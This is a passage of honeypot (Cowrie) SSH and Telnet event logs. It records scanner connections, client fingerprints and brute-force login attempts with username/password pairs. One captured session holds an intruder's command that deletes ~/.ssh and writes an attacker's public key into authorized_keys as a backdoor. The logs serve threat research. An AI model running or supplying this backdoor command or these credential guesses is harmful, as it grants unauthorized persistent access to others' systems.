sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:57:34.980366Z","src_ip":"159.203.92.129","session":"c8a556087263","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"3clear","password":"123456","message":"login attempt [3clear/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:57:34.991881Z","src_ip":"159.203.92.129","session":"c8a556087263","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:57:36.008411Z","src_ip":"159.203.92.129","session":"c8a556087263","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":34272,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b09d5248813","protocol":"ssh","message":"New connection: 37.143.61.84:34272 (159.203.135.109:22) [session: 6b09d5248813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:57:43.077335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:57:44.991081Z","src_ip":"37.143.61.84","session":"6b09d5248813","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:57:45.078661Z","src_ip":"37.143.61.84","session":"6b09d5248813","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"passwd","message":"login attempt [steam/passwd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:57:50.694192Z","src_ip":"37.143.61.84","session":"6b09d5248813","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:57:51.531110Z","src_ip":"37.143.61.84","session":"6b09d5248813","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:57:51.533900Z","src_ip":"37.143.61.84","session":"6b09d5248813","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:57:51.537389Z","src_ip":"37.143.61.84","session":"6b09d5248813","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:57:51.681144Z","src_ip":"37.143.61.84","session":"6b09d5248813","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:57:52.023344Z","src_ip":"37.143.61.84","session":"6b09d5248813","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:57:52.026700Z","src_ip":"37.143.61.84","session":"6b09d5248813","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:57:52.180553Z","src_ip":"37.143.61.84","session":"6b09d5248813","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:57:52.184337Z","src_ip":"37.143.61.84","session":"6b09d5248813","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":34278,"dst_ip":"159.203.135.109","dst_port":22,"session":"371345520e71","protocol":"ssh","message":"New connection: 37.143.61.84:34278 (159.203.135.109:22) [session: 371345520e71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:57:54.083812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:57:55.181794Z","src_ip":"37.143.61.84","session":"371345520e71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:57:55.481664Z","src_ip":"37.143.61.84","session":"371345520e71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:57:59.493694Z","src_ip":"37.143.61.84","session":"371345520e71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:58:00.710402Z","src_ip":"37.143.61.84","session":"371345520e71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":34286,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e4aad21e222","protocol":"ssh","message":"New connection: 37.143.61.84:34286 (159.203.135.109:22) [session: 1e4aad21e222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:58:00.877529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:58:00.898029Z","src_ip":"37.143.61.84","session":"1e4aad21e222","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:58:03.389211Z","src_ip":"37.143.61.84","session":"1e4aad21e222","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":42132,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d3c4ca924a3","protocol":"ssh","message":"New connection: 80.94.92.186:42132 (159.203.135.109:22) [session: 6d3c4ca924a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:58:04.293904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:58:04.339002Z","src_ip":"80.94.92.186","session":"6d3c4ca924a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:58:04.498510Z","src_ip":"80.94.92.186","session":"6d3c4ca924a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:58:05.097894Z","src_ip":"80.94.92.186","session":"6d3c4ca924a3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:58:05.689718Z","src_ip":"37.143.61.84","session":"1e4aad21e222","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:58:05.788676Z","src_ip":"37.143.61.84","session":"1e4aad21e222","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:58:06.274350Z","src_ip":"80.94.92.186","session":"6d3c4ca924a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"24.8","message":"Connection lost after 24.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:58:07.873235Z","src_ip":"37.143.61.84","session":"6b09d5248813","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.83.200.3","src_port":60000,"dst_ip":"10.17.0.5","dst_port":23,"session":"56c52755fc34","protocol":"telnet","message":"New connection: 178.83.200.3:60000 (10.17.0.5:23) [session: 56c52755fc34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:58:10.374896Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35614,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e191734a6fb","protocol":"ssh","message":"New connection: 159.203.92.129:35614 (159.203.135.109:22) [session: 5e191734a6fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:58:16.560844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:58:16.566118Z","src_ip":"159.203.92.129","session":"5e191734a6fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:58:16.572045Z","src_ip":"159.203.92.129","session":"5e191734a6fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"3clear","password":"3clear","message":"login attempt [3clear/3clear] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:58:16.583395Z","src_ip":"159.203.92.129","session":"5e191734a6fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:58:17.591864Z","src_ip":"159.203.92.129","session":"5e191734a6fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.49.172.109","src_port":7373,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ae797741e61","protocol":"telnet","message":"New connection: 179.49.172.109:7373 (159.203.135.109:23) [session: 8ae797741e61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:58:26.842161Z"}
{"eventid":"cowrie.session.closed","duration":13.626298666000366,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:58:40.468356Z","src_ip":"179.49.172.109","session":"8ae797741e61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.99417757987976,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:58:42.368948Z","src_ip":"178.83.200.3","session":"56c52755fc34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54942,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0870ba77073","protocol":"ssh","message":"New connection: 159.203.92.129:54942 (159.203.135.109:22) [session: b0870ba77073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:58:57.622953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:58:57.628396Z","src_ip":"159.203.92.129","session":"b0870ba77073","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-s